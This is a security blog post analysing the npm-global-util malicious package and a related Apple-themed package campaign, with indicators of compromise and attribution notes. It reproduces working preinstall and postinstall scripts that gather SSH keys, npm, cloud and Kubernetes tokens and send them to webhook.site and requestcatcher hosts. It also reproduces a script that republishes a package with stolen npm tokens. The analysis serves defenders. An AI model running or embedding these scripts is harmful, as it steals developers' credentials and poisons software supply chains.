---
title: "npm-global-util: Credential Theft and Supply Chain Attack"
description: "npm-global-util is a malicious npm package by maintainer raya4321 that exfiltrates credentials and system recon data via a preinstall hook. Part of a 16-package campaign targeting Apple developer CI/CD environments, with a second-stage that attempts to poison apple-app-store-server-library."
url: "https://safedep.io/blog/npm-global-util-malicious-package-analysis"
author: "SafeDep Team"
published: "2026-04-29"
---

# npm-global-util: Credential Theft and Supply Chain Attack

## TL;DR

`npm-global-util` is a malicious npm package published by `raya4321` on April 29, 2026. It runs a shell script on `preinstall` that exfiltrates system credentials, cloud tokens, and environment secrets to attacker-controlled `webhook.site` endpoints. A bundled second-stage script (`pwn.sh`) steals npm publish tokens and uses them to inject a poisoned version of `apple-app-store-server-library` into the npm registry. The same maintainer account published 15 additional malicious packages under "apple-internal-\*" branding, all active on the registry at time of writing.

**Impact:**

- Credential exfiltration on `npm install`: npm tokens, SSH private keys, AWS credentials, GCP service account tokens, GitHub tokens, and environment variables
- Supply chain escalation: if an npm publish token is found, the attacker attempts to inject a backdoored version of Apple's `apple-app-store-server-library`
- Kubernetes pivot: related packages target K8s service account tokens and cloud metadata endpoints
- 16 malicious packages from the same maintainer account remain on the registry

**Indicators of Compromise (IoC):**

- Package: `npm-global-util` versions `1.0.0` through `1.3.3`
- Package: `agents-a365-runtime` versions `1.3.5` through `1.3.8`
- Package cluster: `apple-internal-*`, `apple-infra-*`, `apple-cktool-*`, `apple-coredata-*`, `apple-cloud-*` by maintainer `raya4321`
- Exfil endpoints: `hxxps://webhook[.]site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6`, `hxxps://webhook[.]site/44a48e8a-8ab6-454b-b36b-a05458f90a92`, `hxxps://webhook[.]site/e44df9ae-8bff-478a-b1f2-514c1fcbf303`, `hxxps://webhook[.]site/85f78e76-dc73-4cb5-a65c-27f2c10db591`, `hxxps://webhook[.]site/1324ffab-98a9-4f19-8f72-4bbaad684aaf`, `hxxps://webhook[.]site/9a376595-d347-4110-ac32-814e6e2f0754`, `hxxps://franki[.]requestcatcher[.]com`
- Supply chain target: `apple-app-store-server-library`

---

## Analysis

### Package Overview

`npm-global-util` has no description, no repository, no homepage, and no author field. The maintainer is `raya4321` (`npmtpoc@gmail.com`), an account that published 16 packages between April 27 and April 29, 2026. The version history tells a rapid iteration story: nine versions in roughly 70 minutes, each refining the recon payload.

```
$ curl -s "https://registry.npmjs.org/npm-global-util" | jq '.time'
{
  "created":  "2026-04-29T06:45:28.959Z",
  "1.0.0":    "2026-04-29T06:45:29.204Z",
  "1.0.9":    "2026-04-29T07:07:52.967Z",
  "1.1.1":    "2026-04-29T07:12:15.071Z",
  "1.1.4":    "2026-04-29T07:18:04.188Z",
  "1.1.8":    "2026-04-29T07:25:25.927Z",
  "1.2.0":    "2026-04-29T07:29:10.904Z",
  "1.3.1":    "2026-04-29T07:46:36.210Z",
  "1.3.2":    "2026-04-29T07:50:21.898Z",
  "1.3.3":    "2026-04-29T07:54:43.518Z"
}
```

The package has no legitimate functionality. Every file in every version is either `package.json` or a shell script.

### Execution Trigger

The `preinstall` lifecycle hook fires when any project runs `npm install` with this package as a direct or transitive dependency. No user interaction is required.

```json
// package/package.json
{
  "name": "npm-global-util",
  "version": "1.3.3",
  "scripts": {
    "preinstall": "sh ms_audit.sh"
  }
}
```

`ms_audit.sh` runs synchronously before the package installs. Failure does not block installation from the victim's perspective since most CI pipelines treat install-hook errors as non-fatal.

### Stage 1: Reconnaissance and Credential Harvest

Each version of `ms_audit.sh` targets a different layer of the victim environment. The version history reads like an attacker iterating against live test targets:

**v1.0.0: System identity and cloud metadata probing**

```bash
# package/ms_audit.sh (v1.0.0)
export OUT=$(mktemp)
URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6'
(
  echo "--- GLOBAL PACKAGE INFILTRATION ---"
  echo "Host: $(hostname) | User: $(id)"
  echo -e "\n[3] Network & Location Info:"
  curl -s https://ifconfig.me && echo " (Public IP)"
  echo -e "\n[4] Cloud Check:"
  curl -s -m 1 -I http://169.254.169.254 | grep Server || echo "Not a standard cloud metadata IP"
) > $OUT
curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL
```

**v1.0.9: Sensitive file extraction (PDF, private keys)**

```bash
# package/ms_audit.sh (v1.0.9)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" -o -name "*token*" \) 2>/dev/null | head -n 10
for f in $(find /root/.* -maxdepth 2 -type f \( -name "*.pdf" -o -name "*.key" \) 2>/dev/null | head -n 3); do
    echo "File: $f"
    base64 "$f" | head -c 200
done
```

**v1.1.1: Full directory exfil of PDF and ZIP files**

```bash
# package/ms_audit.sh (v1.1.1)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
find /root /home /opt /var/www -maxdepth 3 -type f \( -name "*.pdf" -o -name "*.zip" \) 2>/dev/null | while read -r FILE; do
    curl -X POST -F "file=@$FILE" -F "host=$(hostname)" -F "path=$FILE" "$URL"
done
curl -X POST -d "Host $(hostname) has finished scanning for PDF/ZIP." "$URL"
```

**v1.1.4: Keyword-based sensitive file hunt ("Global Predator Scan")**

```bash
# package/ms_audit.sh (v1.1.4)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
find / -maxdepth 5 -type f \( \
    -iname "*secret*" -o \
    -iname "*confidential*" -o \
    -iname "*backup*" -o \
    -iname "*password*" -o \
    -iname "*finance*" -o \
    -iname "*invoice*" -o \
    -iname "*rahasia*" \
\) \( -name "*.pdf" -o -name "*.zip" -o -name "*.tar.gz" -o -name "*.sql" \) 2>/dev/null | head -n 20 | while read -r FILE; do
    curl -X POST \
         -F "file=@$FILE" \
         -F "host=$(hostname)" \
         -F "full_path=$FILE" \
         -F "size=$(du -h "$FILE" | cut -f1)" \
         "$URL"
done
curl -X POST -d "Global Predator Scan on $(hostname) finished. Check your Files tab." "$URL"
```

**v1.1.8: Targeting a specific file by name**

```bash
# package/ms_audit.sh (v1.1.8)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
TARGET='/root/Desktop/u6Lx.pdf'
if [ -f "$TARGET" ]; then
    curl -X POST -F "file=@$TARGET" "$URL?ikan_paus_cent_os"
    LINK=$(curl --upload-file "$TARGET" https://transfer.sh/u6Lx_rahasia.pdf)
    curl -X POST -d "LINK DOWNLOAD: $LINK" "$URL"
fi
```

The hardcoded filename `u6Lx.pdf` and the query string `ikan_paus_cent_os` (Indonesian: "whale centOS") suggest this version was written to validate access to a specific targeted machine.

**v1.2.0: Database URL and cloud storage bucket discovery**

```bash
# package/ms_audit.sh (v1.2.0)
URL='https://webhook.site/44a48e8a-8ab6-454b-b36b-a05458f90a92'
(
  echo "[1] Searching for Database URL Patterns in Files:"
  grep -rEho "https?://[a-zA-Z0-9./_-]+(sql|dump|db|backup|data)[a-zA-Z0-9./_-]+" /home /root /var/www 2>/dev/null | head -n 15

  echo "[2] Checking .bash_history for wget/curl DB links:"
  grep -E "wget|curl" ~/.bash_history 2>/dev/null | grep -iE "sql|zip|gz|db" | tail -n 5

  echo "[3] Searching for S3/Cloud Storage Buckets:"
  grep -rEho "[a-zA-Z0-9.-]+\.s3\.amazonaws\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null
  grep -rEho "storage\.googleapis\.com/[a-zA-Z0-9./_-]+" /root /home 2>/dev/null
) > db_links.txt
curl -X POST -F "file=@db_links.txt" "$URL"
```

**v1.3.1: Comprehensive credential harvest (final form before latest)**

```bash
# package/ms_audit.sh (v1.3.1)
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
(
  echo "[1] Check NPM Auth (The Holy Grail):"
  cat ~/.npmrc 2>/dev/null
  echo "[2] Check Cloud Credentials (GCP/AWS/Azure):"
  grep -rEi "access_key|secret_key|token" ~/.config ~/.aws ~/.azure 2>/dev/null | head -n 10
  echo "[3] Check SSH Keys (Full System Access):"
  find ~/.ssh -type f -name "id_*" ! -name "*.pub" 2>/dev/null | while read -r KEY; do
    echo "Found Key: $KEY"
    cat "$KEY" | head -n 5
  done
  echo "[4] Environment Variables (Passwords in RAM):"
  env | grep -Ei "pass|secret|token|db_|key" | head -n 10
) > final_leak.txt
curl -X POST -F "file=@final_leak.txt" "$URL"
```

**v1.3.2: GCP identity probe and .env hunting**

```bash
# package/ms_audit.sh (v1.3.2)
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
(
  echo "[1] GCE Identity Info:"
  curl -s -H "Metadata-Flavor: Google" \
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=$URL" 2>/dev/null

  echo "[2] Hunting for Environment Secrets:"
  find . -name ".env" -exec cat {} \; 2>/dev/null

  echo "[3] Sensitive Processes:"
  ps aux | grep -Ei "key|auth|secret|token" | grep -v grep
) > final_identity.txt
curl -X POST -F "file=@final_identity.txt" "$URL"
```

**v1.3.3 (latest): Sandbox and container fingerprinting**

```bash
# package/ms_audit.sh (v1.3.3)
URL='https://webhook.site/e44df9ae-8bff-478a-b1f2-514c1fcbf303'
(
  echo "[1] Current Shell & Process Tree (Seeing the Wrapper):"
  ps -ef f | head -n 20
  echo "[2] Inspecting Container/Sandbox Metadata:"
  ls -la /proc/1/cgroup 2>/dev/null
  cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
  echo "[3] Searching for Entrypoint/Startup Scripts:"
  find / -maxdepth 2 -name "*entrypoint*" -o -name "*start*" -o -name "*init*" 2>/dev/null \
    | xargs -I {} sh -c 'echo "FILE: {}"; cat "{}" | head -n 50; echo "---"'
  echo "[4] Mount Points (Seeing the Sandbox Borders):"
  mount | grep -Ei "docker|overlay|virtiofs"
) > sandbox_core.txt
curl -X POST -F "file=@sandbox_core.txt" "$URL"
```

The pivot from credential collection in v1.3.1 to sandbox profiling in v1.3.3 suggests the attacker shifted from opportunistic credential theft toward understanding the detection environment, likely after getting caught by automated npm security scanners.

### Stage 2: Supply Chain Attack via Stolen npm Token

`pwn.sh`, bundled in versions 1.0.0 through 1.2.0, is the second-stage payload. It is not called by `ms_audit.sh` directly, which means it was either intended for execution via a different mechanism or represents in-progress attack development. The intent is clear regardless:

```bash
# package/pwn.sh (all versions containing it)
URL='https://webhook.site/85f78e76-dc73-4cb5-a65c-27f2c10db591'
(
  BOT_TOKEN=$(env | grep -E 'NPM_TOKEN|NODE_AUTH_TOKEN|GITHUB_TOKEN|NPM_AUTH_TOKEN' | head -n 1 | cut -d= -f2)

  if [ -z "$BOT_TOKEN" ]; then
      BOT_TOKEN=$(grep -oE 'authToken=[^ ]+' ~/.npmrc 2>/dev/null | cut -d= -f2)
  fi

  if [ -n "$BOT_TOKEN" ]; then
      echo "TOKEN VALID DITEMUKAN: ${BOT_TOKEN:0:7}***"
      echo "//registry.npmjs.org/:_authToken=$BOT_TOKEN" > .npmrc
      npm pack apple-app-store-server-library 2>/dev/null
      FILE=$(ls apple-app-store-server-library-*.tgz 2>/dev/null)
      if [ -n "$FILE" ]; then
          mkdir -p pocalin && tar -xzf "$FILE" -C pocalin
          cd pocalin/package
          echo -e "\n# Proof of Concept by Frank\nAutomatically updated by internal automation using discovered credentials." >> README.md
          CUR_VER=$(grep '"version":' package.json | cut -d'"' -f4)
          NEXT_VER="${CUR_VER%.*}.$((${CUR_VER##*.}+1))"
          sed -i "s/\"version\": \"$CUR_VER\"/\"version\": \"$NEXT_VER\"/" package.json
          sed -i '/"prepack":/d; /"prepare":/d; /"build":/d' package.json
          cp ../../.npmrc .
          npm publish --userconfig .npmrc 2>&1
      fi
  fi
) > $OUT
curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL
```

If an npm auth token is found in environment variables or `~/.npmrc`, the script:

1. Downloads a fresh copy of `apple-app-store-server-library` (Apple's official App Store Server API client)
2. Appends a "Proof of Concept by Frank" string to its README
3. Bumps the patch version
4. Strips build and prepare scripts to avoid compilation failures
5. Publishes the modified package using the victim's credentials

A developer running `npm install` with publish rights to a legitimate package would unknowingly hand the attacker the keys to inject malicious code into that package's registry entry.

### The Broader Campaign

`raya4321` published 15 additional malicious packages alongside `npm-global-util`, all using Apple-branded names to suggest internal tooling:

| Package                              | Hook          | Target                                                                                    | Exfil Endpoint              |
| ------------------------------------ | ------------- | ----------------------------------------------------------------------------------------- | --------------------------- |
| `apple-internal-telemetry-service`   | `postinstall` | SSH keys, env vars (Apple hostname check)                                                 | `franki.requestcatcher.com` |
| `apple-internal-pki-trust`           | `preinstall`  | `.git-credentials`, `.env`, Azure tokens                                                  | `franki.requestcatcher.com` |
| `apple-internal-pki-trust-v5`        | `postinstall` | Env vars (APPLE/AWS/GIT/SECRET)                                                           | `franki.requestcatcher.com` |
| `apple-cktool-api-v2`                | `postinstall` | CloudKit token files (`~/.cloudkit`)                                                      | `franki.requestcatcher.com` |
| `apple-pki-cert-validator`           | `postinstall` | SSH private keys                                                                          | `franki.requestcatcher.com` |
| `apple-internal-dev-check`           | `postinstall` | Full system scan: files, cloud, env                                                       | `franki.requestcatcher.com` |
| `apple-coredata-internal-service`    | `postinstall` | `~/.npmrc`, AWS creds, SSH                                                                | `franki.requestcatcher.com` |
| `apple-cloud-infrastructure-monitor` | `postinstall` | Full creds: env, SSH, AWS, git                                                            | `webhook.site/9a376595-...` |
| `apple-infra-network-v2`             | `preinstall`  | DNS, ARP, internal network topology                                                       | `webhook.site/1324ffab-...` |
| `apple-infra-gcp-leak`               | `preinstall`  | GCP metadata: project ID, zone, service account token                                     | `webhook.site/1324ffab-...` |
| `apple-internal-auth-v3`             | `postinstall` | SSH, AWS creds (Apple hostname check)                                                     | `franki.requestcatcher.com` |
| `agents-a365-runtime`                | `preinstall`  | Kubernetes service account token at `/var/run/secrets/kubernetes.io/serviceaccount/token` | `webhook.site/42fb16cd-...` |
| `apple-infra-ultimate-bypass`        | `preinstall`  | Executes `/tmp/final_payload.sh`                                                          | (varies)                    |
| `apple-infra-final-escape`           | `preinstall`  | Executes `/tmp/final_sweep.sh`                                                            | (varies)                    |

Three packages from the cluster deserve closer examination.

**`agents-a365-runtime`: Kubernetes service account token theft**

```bash
# agents-a365-runtime/package/ms_audit.sh (v1.3.8)
URL='https://webhook.site/42fb16cd-cddc-4a22-a7aa-ea6505ede8d6'
(
  echo "[1] Kubernetes Service Account Token:"
  cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo "Token not found"
  echo "[2] Kubernetes Namespace:"
  cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null
  echo "[3] Environment Scan for K8S/API Keys:"
  printenv | grep -Ei 'KUBE|SERVICE|API|PORT|PROTO'
  echo "[4] Mount Points (Cek file sensitif lainnya):"
  mount | grep -i 'secret'
) > $OUT
curl -X POST -H "Content-Type: text/plain" --data-binary @$OUT $URL
```

**`apple-infra-gcp-leak`: GCP service account token via metadata endpoint**

```bash
# apple-infra-gcp-leak/package/ms_audit.sh (v1.2.0)
URL='https://webhook.site/1324ffab-98a9-4f19-8f72-4bbaad684aaf'
(
  echo "[1] Project ID & Zone:"
  curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/project/project-id
  curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/zone
  echo "[2] Service Account Token (THE GOLDEN TICKET):"
  curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
  echo "[3] Service Account Scopes:"
  curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
) > $OUT
curl -X POST --data-binary @$OUT $URL
```

**`apple-internal-telemetry-service`: Apple hostname-gated exfil**

```bash
# apple-internal-telemetry-service/package/package.json (v1.0.0)
{
  "postinstall": "if hostname | grep -iq 'apple' || env | grep -iq 'apple'; then
    (echo '--- SYSTEM INFO ---'; hostname; whoami; uname -a;
     echo '--- ENV DATA ---'; printenv;
     echo '--- SSH KEYS ---'; ls -la ~/.ssh; cat ~/.ssh/id_rsa
    ) > apple_data.txt 2>&1;
    curl -X POST -F \"file=@apple_data.txt\" https://franki.requestcatcher.com/apple_verified_leak;
  fi"
}
```

The `grep -iq 'apple'` gate means this payload only fires on machines where the hostname or environment contains the string "apple", confirming the campaign targets Apple's internal developer fleet or CI runners rather than arbitrary npm users.

**`apple-infra-ultimate-bypass`: Staged detonation**

```json
// apple-infra-ultimate-bypass/package/package.json (v3.0.0)
{
  "name": "apple-infra-ultimate-bypass",
  "version": "3.0.0",
  "scripts": {
    "preinstall": "sh /tmp/final_payload.sh"
  }
}
```

This package ships no payload of its own. It executes whatever script is already at `/tmp/final_payload.sh`. The same pattern applies to `apple-infra-final-escape`, which runs `/tmp/final_sweep.sh`. If multiple packages from this cluster are installed in the same environment (as transitive dependencies of a shared parent), an earlier package could write the script to `/tmp` and this one fires it.

### Attacker Attribution Signals

All scripts contain comments in Bahasa Indonesia, including operational notes like `"Mengambil token NPM yang dipakai buat publish/install paket"` ("Getting the npm token used for publishing/installing packages") and `"Kunci privat SSH yang sering ditinggal di server"` ("SSH private keys often left on servers"). The attacker signs the supply chain PoC with "Frank."

The `npmtpoc@gmail.com` email address and account name `raya4321` appear to be purpose-created for this campaign, with no prior publish history.

---

## Conclusion

`npm-global-util` combines credential harvesting with a supply chain escalation vector targeting `apple-app-store-server-library`. The 16-package cluster under `raya4321` covers a wide attack surface: SSH keys, cloud credentials, Kubernetes tokens, GCP service accounts, and npm publish rights. The Apple-branded naming and hostname-gating indicate a targeted campaign against Apple developer environments rather than indiscriminate opportunism.

All 16 packages were on the registry as of April 29, 2026. Any `npm install` in an environment with Apple-themed tooling, K8s access, or CI publish tokens should be treated as a potential exposure vector until the packages are removed.

Scan your dependency graph with [`vet`](https://github.com/safedep/vet) or check registry metadata via SafeDep to identify exposure from this maintainer account before an install runs.

---

## References

- [npm registry: npm-global-util](https://www.npmjs.com/package/npm-global-util)
- [npm registry: agents-a365-runtime](https://www.npmjs.com/package/agents-a365-runtime)
- [npm docs: lifecycle scripts](https://docs.npmjs.com/cli/v10/using-npm/scripts#life-cycle-scripts)
- [apple-app-store-server-library on npm](https://www.npmjs.com/package/apple-app-store-server-library)
